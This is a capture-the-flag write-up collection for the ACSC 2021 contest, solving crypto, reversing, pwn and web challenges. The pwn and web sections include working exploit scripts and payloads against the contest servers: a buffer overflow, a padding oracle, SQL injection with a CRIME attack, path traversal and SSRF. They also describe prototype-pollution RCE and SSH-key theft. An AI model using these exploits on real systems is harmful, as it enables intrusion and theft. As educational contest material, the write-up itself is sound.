# ACSC 2021 Writeups
Author: maple3142
My Blog: https://blog.maple3142.net/
# RSA stream
The output is a stream of `(m^e[i] mod n) xor known_plaintext[i]`, so we can easily get two encrypted flag under same modulus with different exponents, then apply common modulus attack to get flag.
```python
import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
from Crypto.Util.Padding import pad
n = 30004084769852356813752671105440339608383648259855991408799224369989221653141334011858388637782175392790629156827256797420595802457583565986882788667881921499468599322171673433298609987641468458633972069634856384101309327514278697390639738321868622386439249269795058985584353709739777081110979765232599757976759602245965314332404529910828253037394397471102918877473504943490285635862702543408002577628022054766664695619542702081689509713681170425764579507127909155563775027797744930354455708003402706090094588522963730499563711811899945647475596034599946875728770617584380135377604299815872040514361551864698426189453
with open("chal.py", "rb") as f:
chal = f.read()
with open("chal.enc", "rb") as f:
enc = f.read()
q1 = bytes_to_long(chal[:256])
c1 = q1 ^ bytes_to_long(enc[:256])
e1 = 65537
q2 = bytes_to_long(chal[256:512])
c2 = q2 ^ bytes_to_long(enc[256:512])
e2 = gmpy2.next_prime(e1)
_, a, b = gmpy2.gcdext(e1, e2)
m = (gmpy2.powmod(c1, a, n) * gmpy2.powmod(c2, b, n)) % n
print(long_to_bytes(m))
```
# filtered
Input size is read as `int`, and it will ensure `size < 100`. But the `readline` uses `size_t`, which is unsigned integer, so passing `-1` as size allows you to buffer overflow. So you can simply overwrite return address to `win`.
```python
from pwn import *
elf = ELF("./filtered")
# io = process("./filtered")
io = remote("filtered.chal.acsc.asia", 9001)
io.sendlineafter(b"Size: ", b"-1")
io.sendlineafter(b"Data: ", b"a" * 280 + p64(elf.sym["win"]))
io.interactive()
```
# CBCBC
The decryption of CBCBC is:
$$
I_i=C_{i-1} \oplus D(C_i), C_0=\mathit{IV}_2 \\
P_i=I_{i-1} \oplus D(I_i), I_0=\mathit{IV}_1
$$
So we have:
$$
P_1=I_0 \oplus D(C_0 \oplus D(C_1))
$$
The $D(C_0 \oplus D(C_1))$ can be considered to be a blackbox function of $C_1$, so we can set $I_0$ as $\mathit{IV}_1$ and $C_1$ as current block to get $P_1$ with padding oracle.
$$
P_2=C_0 \oplus D(C_1) \oplus D(C_1 \oplus D(C_2))
$$
The $D(C_1) \oplus D(C_1 \oplus D(C_2))$ is a blackbox function of $C_1||C_2$, so setting $C_0$ as $\mathit{IV}_2$ and $C_1||C_2$ as current block gives $P_2$.
Getting $P_3$ is pretty similar to $P_2$.
```python
from pwn import process, remote
from base64 import b64decode, b64encode
# io = process(["python", "chal.py"])
io = remote("cbcbc.chal.acsc.asia", 52171)
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"username: ", b"")
io.recvuntil(b"token: \n")
enc = b64decode(io.recvline().strip())
iv1, iv2, ct = enc[:16], enc[16:32], enc[32:]
def oracle(iv, block):
enc = iv + iv2 + block
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"username: ", b"peko")
io.sendlineafter(b"token: ", b64encode(enc))
r = io.recvlineS()
return "Check your token again" not in r
def oracle2(iv, block):
enc = iv1 + iv + block
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"username: ", b"peko")
io.sendlineafter(b"token: ", b64encode(enc))
r = io.recvlineS()
return "Check your token again" not in r
# copied from https://gist.github.com/maple3142/e9f41bc7dba159123d9c7546e406948b
def cbc_oracle_block(oracle, prev, block, sz=16):
rprev = prev[::-1]
rpt = bytearray(sz) # reversed plaintext
for i in range(sz):
pad = i + 1
for b in range(256):
riv = bytearray(rpt)
for j in range(i):
riv[j] = rpt[j] ^ rprev[j] ^ pad
riv[i] = b
if oracle(riv[::-1], block):
rpt[i] = pad ^ rprev[i] ^ b
break
print(i, bytes(rpt[::-1]))
return bytes(rpt[::-1])
def cbc_oracle(oracle, iv, ct, sz=16):
blocks = [iv] + [ct[i : i + sz] for i in range(0, len(ct), sz)]
pt = b""
for block, prev in zip(blocks[::-1], blocks[:-1][::-1]):
pt = cbc_oracle_block(oracle, prev, block) + pt
return pt
print(len(ct)) # 48, 3 blocks
print(cbc_oracle_block(oracle, iv1, ct[:16])) # block 1
print(cbc_oracle_block(oracle2, iv2, ct[:32])) # block 2
print(cbc_oracle_block(oracle2, ct[:16], ct[16:])) # block 3, useless
# Username: R3dB1ackTreE
# Token: 6xk04ChE+H0aWk4aX7FREsxtriobxnNs7mDrTDhYu8C61ch3yoK4u5Nh1tRmxkYr3Q01ayidr0sFGO0oWVDrVZd+GM0vhBzBaUtv2pRzQ+8=
# ACSC{wow_double_CBC_mode_cannot_stop_you_from_doing_padding_oracle_attack_nice_job}
```
# Pickle Rick
Pickle part can be reversed easily by providing a custom overloaded unpickler that prints the stack at each instruction.
By observing the stack during execution, you can see there is a big binary tree represented recursively using nested tuple, and two function called `search` and `mix`.
The `search` function takes a binary tree and a number as input, returns a number. The `mix` function takes an interger list and transform it into another integer list.
The logic of pickle bytecode is basically:
```python
target = () # some constant tuple
ar = []
for c in mix(user_input):
ar.append(search(tree, c))
if tuple(ar) == target:
print('Good')
```
So we can simply get the `target` tuple and bruteforce back to get `mix(user_input)` easily.
`mypixel.py`:
> Then modify `import pickle` in `chal.py` to `import mypickle`
```python
from pickle import _Unpickler, UnpicklingError, _Unframer, bytes_types, _Stop
import io
def tuple_deep(t):
if type(t) == tuple and len(t) > 0:
return max(tuple_deep(x) + 1 for x in t)
return 0
class MyUnpickler(_Unpickler):
def load(self):
"""Read a pickled object representation from the open file.
Return the reconstituted object hierarchy specified in the file.
"""
# Check whether Unpickler was initialized correctly. This is
# only needed to mimic the behavior of _pickle.Unpickler.dump().
if not hasattr(self, "_file_read"):
raise UnpicklingError(
"Unpickler.__init__() was not called by "
"%s.__init__()" % (self.__class__.__name__,)
)
self._unframer = _Unframer(self._file_read, self._file_readline)
self.read = self._unframer.read
self.readinto = self._unframer.readinto
self.readline = self._unframer.readline
self.metastack = []
self.stack = []
self.append = self.stack.append
self.proto = 0
read = self.read
dispatch = self.dispatch
try:
while True:
key = read(1)
if not key:
raise EOFError
assert isinstance(key, bytes_types)
dispatch[key[0]](self)
# custom debugging code
print(bytes([key[0]]), end=" ")
for x in self.stack:
y = repr(x)
if len(y) > 30:
y = y[:27] + "..."
if type(x) == tuple and tuple_deep(x) == 9:
global tree
tree = x
print(y, end=" | ")
print()
for x in self.stack:
if type(x) == type(loads):
fns[x.__code__.co_name] = x
except _Stop as stopinst:
return stopinst.value
fns = {}
def loads(x):
file = io.BytesIO(x)
r = MyUnpickler(file).load()
# fmt: off
target = (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227)
# fmt: on
mixed = []
for t in target:
mixed += [i for i in range(256) if fns["search"](tree, i) == t]
print("mixed sequence:")
print(mixed)
return r
```
The mix function is:
```python
def mix(a):
ln = len(a)
arr = []
i = 0
while i < ln:
s, j = 0, 0
while j < ln:
s = s + (j + 1) * a[(i + j) % ln]
j += 1
s %= 257
arr.append(s)
i += 1
return arr
```
I initially wanted to reverse it with z3, but it runs forever. But later, I realized this is just a matrix multiplication with a vector over $F_p$
, so sage can solve it easily:
```python
Z = Zmod(257)
mixed = [
98,
59,
114,
85,
203,
16,
155,
94,
218,
48,
235,
18,
189,
14,
117,
73,
138,
209,
91,
104,
28,
]
def mix(a):
ln = len(a)
arr = []
i = 0
while i < ln:
s, j = 0, 0
while j < ln:
s = s + (j + 1) * a[(i + j) % ln]
j += 1
# s %= 257
arr.append(s)
i += 1
return arr
P = PolynomialRing(Z, x, 21)
flag = P.gens()
print(
bytes(
Sequence(mix(flag))
.coefficient_matrix()[0]
.dense_matrix()
.solve_right(vector(Z, mixed))
)
)
```
# API
It is easily to found that it is impossible to be admin normally by reading the source code. The vulneribility is:
```php
if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
```
Redirecting doesn't stop the code from executing, so we can still use `c2` as a normal user.
For passcode, you can get it here directly: https://api.chal.acsc.asia/lib/db/passcode.db
Then you could just use this to get flag:
```bash
curl -k 'https://api.chal.acsc.asia/api.php?id=Peko&pw=PekoPekoPeko&c=i&c2=gd&pas=:<vNk&db=../../../../../flag'
```
# Secret Saver
It compress then encrypts your input and flag serilized as json with AES-CTR, then store the ciphertext into a mysql database. So it is obvious that we need to use CRIME attack, but we need to get the length of ciphertext first.
Note that there is a sql injection, and it displays error message, so we can leak the length of ciphertext with error based injection in 2 requests.
The remaining part is implements the CRIME attack, that's all.
```python
import httpx
import asyncio
import string
url = "http://167.99.77.49/"
async def check_length(client, msg):
id = (
await client.post(
url,
data={"msg": "^^^^^^^^" + msg * 3, "name": "!" * 8},
)
).text
r = await client.post(
url,
data={
"msg": "^^^^^^^^",
"name": f"'||extractvalue(1,concat(0x5c,(select * from (select length(msg) from msgs where id = '{id}') as t),0x5c))||'",
},
)
return int(r.text.split("\\")[1])
async def main():
async with httpx.AsyncClient(verify=False, http2=True) as client:
chs = string.printable
flag = "ACSC{"
while not flag.endswith("}"):
lns = await asyncio.gather(
*[check_length(client, flag + c + "^$%(~`-1*") for c in chs]
)
i = lns.index(min(lns))
flag += chs[i]
print(flag)
asyncio.run(main())
# ACSC{MAK3-CRiME-4TT4CK-GREAT-AGaiN!}
```
# Baby Developer
It provides a screenshot service that uses puppeteer, and there is another website running on vite server dev mode in the internal network. The objective is the get the ssh private key of the container running the vite server.
By examining vite's source code, it is easy to see it has a `@fs` feature allowing you to read any file like this: `/@fs/etc/passwd`. Also, the whole website have `Access-Control-Allow-Origin: *` header enabled, so we can setup our webpage that fetch ssh private key and send it to our server easily. So we can use that ssh key to ssh to the server and get flag easily.
# Swap on Curve
Need to find a $(x,y)$ that satisfies both
$$
y^2=x^3+ax+b \\
x^2=y^3+ay+b
$$
over $F_p$.
I just simply use the resultant of two polynomial to eliminate $y$ and get a polynomial with only $x$ in it, and use sage's builtins' solver to solve it.
```python
from sage.matrix.matrix2 import Matrix
from Crypto.Util.number import long_to_bytes
def resultant(f1, f2, var):
return Matrix.determinant(f1.sylvester_matrix(f2, var))
p = 10224339405907703092027271021531545025590069329651203467716750905186360905870976608482239954157859974243721027388367833391620238905205324488863654155905507
a = 4497571717921592398955060922592201381291364158316041225609739861880668012419104521771916052114951221663782888917019515720822797673629101617287519628798278
b = 1147822627440179166862874039888124662334972701778333205963385274435770863246836847305423006003688412952676893584685957117091707234660746455918810395379096
P = PolynomialRing(GF(p), "x,y")
x, y = P.gens()
f = y ^ 2 - (x ^ 3 + a * x + b)
g = x ^ 2 - (y ^ 3 + a * y + b)
for r, e in resultant(f, g, y).univariate_polynomial().roots():
print(long_to_bytes(r))
```
# Favorite Emojis
The website uses nginx as reverse proxy, and it will try to render the webpage on the server side using prerenderer if user agent matches some pattern.
Nginx passes the url to prerenderer using this following rule:
```nginx
rewrite .* /$scheme://$host$request_uri? break;
proxy_pass http://renderer:3000;
```
And our target is to access `http://api:8000/`.
I tried to set `Host` header to `api:8000` to try to inject to port into the rewrited path, but nginx will ignore the port entirely.
The code that prerenderer handles the url is [here](https://github.com/prerender/prerender/blob/1098f5c8ff5f25e9a4248ea53a657df41c700dfc/lib/util.js#L46). There is some `decodeURIComponent`, so it might be possible to inject `:` into the result url.
Unfortunately, `api%3a8000` won't work because nginx will always escape `%` as `%25`, and `url.parse(decodedUrl, true)` will parse it as path.
The trick is to put it into userinfo part like this: `api%3a8000@peko`, which will correctly passes the `url.parse` and `url.format` in their url handling code. And due to their `decodeURIComponent` after `url.format`, the `%3a` will be `:`, so we have `http://api:8000@peko` now.
To make it access `http://api:8000/`, we only need to add another `?` to ignore the remaining part. So our final payload is `api%3a8000%3f@peko`.
```bash
curl 'http://favorite-emojis.chal.acsc.asia:5000/' -H 'User-Agent: googlebot' -H 'Host: api%3a8000%3f@peko'
```
# Two Rabin
The flag are cut into two parts $m_1$ and $m_2$. And there is a regulard RSA modulus $n=pq$ and another constant $B$.
The first part are encrypted using $c \equiv m(m+B) \pmod{n}$, the first are without padding and the second has padding. Since the padding is constant, they can be rewrited as 2 polynomials with same root $m$, so computing polynomial gcd gives the first half of the flag.
The second part are encrypted in the same way, but they both have a 240 bits random padding. It is easy to easy that the difference between two padded $m_2$ are less 240 bits too. We can rewrite the encryption as 2 polynomial with 2 variable $m,x$, where $x$ is the small difference. Eliminate $m$ from two polynomial to get another polynomial with a small root $x$, which can be solved by coppersmith.
After getting $x$, the remaining part are same as a first part. Simply take gcd of 2 polynomial and get the second half of the flag.
```python
from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from sage.matrix.matrix2 import Matrix
def resultant(f1, f2, var):
return Matrix.determinant(f1.sylvester_matrix(f2, var))
flag1_len = 98
n = 105663510238670420757255989578978162666434740162415948750279893317701612062865075870926559751210244886747509597507458509604874043682717453885668881354391379276091832437791327382673554621542363370695590872213882821916016679451005257003326444660295787578301365987666679013861017982035560204259777436442969488099
B = 12408624070212894491872051808326026233625878902991556747856160971787460076467522269639429595067604541456868927539680514190186916845592948405088662144279471
c1 = 47149257341850631803344907793040624016460864394802627848277699824692112650262968210121452299581667376809654259561510658416826163949830223407035750286554940980726936799838074413937433800942520987785496915219844827204556044437125649495753599550708106983195864758161432571740109614959841908745488347057154186396
c2 = 38096143360064857625836039270668052307251843760085437365614169441559213241186400206703536344838144000472263634954875924378598171294646491844012132284477949793329427432803416979432652621257006572714223359085436237334735438682570204741205174909769464683299442221434350777366303691294099640097749346031264625862
flag2_len = 98
hard_c1 = 73091191827823774495468908722773206641492423784400072752465168109870542883199959598717050676487545742986091081315652284268136739187215026022065778742525832001516743913783423994796457270286069750481789982702001563824813913547627820131760747156379815528428547155422785084878636818919308472977926622234822351389
hard_c2 = 21303605284622657693928572452692917426184397648451262767916068031147685805357948196368866787751567262515163804299565902544134567172298465831142768549321228087238170761793574794991881327590118848547031077305045920819173332543516073028600540903504720606513570298252979409711977771956104783864344110894347670094
def pgcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
def solve1():
k = bytes_to_long(pad(b"a" * flag1_len, 128)[flag1_len:])
P = PolynomialRing(Zmod(n), "m1")
m1 = P.gen()
m2 = m1 * 2 ^ 240 + k
f1 = m1 * (m1 + B) - c1
f2 = m2 * (m2 + B) - c2
g = pgcd(f1, f2)
return long_to_bytes(-g.coefficients()[0])
def solve2():
global t, x, m1, m2, f1, f2, g
P = PolynomialRing(Zmod(n), "m1,x")
m1, x = P.gens()
m2 = m1 + x
f1 = m1 * (m1 + B) - hard_c1
f2 = m2 * (m2 + B) - hard_c2
f = resultant(f1, f2, m1).univariate_polynomial()
x = f.small_roots(X=2 ^ 240, epsilon=0.03)[1]
P = PolynomialRing(Zmod(n), "m1")
m1 = P.gen()
m2 = m1 + x
f1 = m1 * (m1 + B) - hard_c1
f2 = m2 * (m2 + B) - hard_c2
g = pgcd(f1, f2)
return long_to_bytes(-g.coefficients()[0] >> 240)
print(solve1() + solve2())
```
# Cowsay as a Service
Notice that we can do prototype pollution by setting our username to `__proto__` and change settings easily. And find a prototype pollution gadget to get RCE then it is all done. I polluted `Object.prototype.shell` to `/bin/bash` because the [documentation](https://nodejs.org/api/child_process.html#child_process_child_process_spawn_command_args_options) said `shell` will be used when spawning child process. So we can have a bash expansion behavior by setting the shell `/bin/bash`, then simply let it cowsay `$(env)` to get flag.